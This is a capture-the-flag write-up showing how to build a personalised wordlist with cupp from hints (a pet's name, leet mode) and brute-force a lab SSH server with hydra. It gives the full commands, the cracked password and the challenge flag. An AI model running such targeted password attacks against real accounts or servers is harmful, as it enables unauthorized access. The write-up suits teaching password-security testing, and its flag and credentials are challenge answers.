Breaking-Hollywood

Context----------

A few days back, you had an argument with your friend Hernandez about **password complexity**.

He claimed you would **never guess** his strong passwords! As a challenge, he had set up an SSH server and secured it with one of **his default passwords**.

Information ----------

- You were provided with the user and password 'corey:TcPZ2rrS!' to reconnect if needed.
- Create a custom wordlist to use against the accessible SSH service.
- Execute a brute-force attack against the SSH service.
- Retrieve Hernandez's password, and attempt to log in into the server

```
[+] Initiating web server 172.17.0.63
[+] Creating user hernandez
[*] The user is 1337
[*] Adopting dog named cachorro
[*] Filling coffee 'cupp'
[+] Changing default password
[!] Warning, password not complex enough
[!] Overriding password complexity checks
[+] Opening SSH on port 22
[+] Adding Hollywood effects
[*] Hack Your Way Inside!
```

---

we are provided with the designated address we want to attack and additional information . the tool (cupp) is the tool that we will use in order to create a dictionary. the flag (-i) in addition to grant information about the target for it to form the dictionary accordingly.

```
corey@debian:~$ cupp -i

[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: hernandez
> Surname:
> Nickname:
> Birthdate (DDMMYYYY):


> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name: cachorro
> Company name:
```

pay attention to hints-

```
Leet mode? (i.e. leet = 1337) Y/[N]:
```

```
The user is 1337
```

enable Leet mode.

```
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to hernandez.txt, counting 1044 words.
[+] Now load your pistolero with hernandez.txt and shoot! Good luck
```

---

we have our dictionary - now we will work with hydra to attack the SSH service.

```
corey@debian:~$  hydra -l hernandez -P hernandez.txt ssh://172.17.0.63 -f -v
```

flags->

-l/L = user (l indicates known / L indicates wordlist to provide)

-p/P = password (p indicates known / P indicates wordlist to provide)

ssh://address = port+address you want to attack

-f = dont proceed if found

-v = show the progress of attempts

Run the command-

```
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by pee
r
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by pee
r
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by pee
r
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by pee
r
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22: Socket error: Connection reset by pee
r
[ERROR] ssh protocol error
[22][ssh] host: 172.17.0.63   login: hernandez   password: c4ch0rr0
[STATUS] attack finished for 172.17.0.63 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-22 02:20:18
corey@debian:~$
```

The Password is Bruteforced = c4ch0rr0

Now we will connect to the SSH service with his credentials.

```
corey@debian:~$ ssh hernandez@172.17.0.63
The authenticity of host '172.17.0.63 (172.17.0.63)' can't be established.
ECDSA key fingerprint is SHA256:9PllNgrHOkG3Q7KdecY5FTZvEvn537kAGJoesqs/47Y.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.17.0.63' (ECDSA) to the list of known hosts.
hernandez@172.17.0.63's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.14.252-195.483.amzn2.x86_64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
------------------------------------------------------------

Congratulations! The flag is: 0ab3a7a7e0b92736f37c8f6384f345d5

------------------------------------------------------------

Connection to 172.17.0.63 closed.
```

The Flag
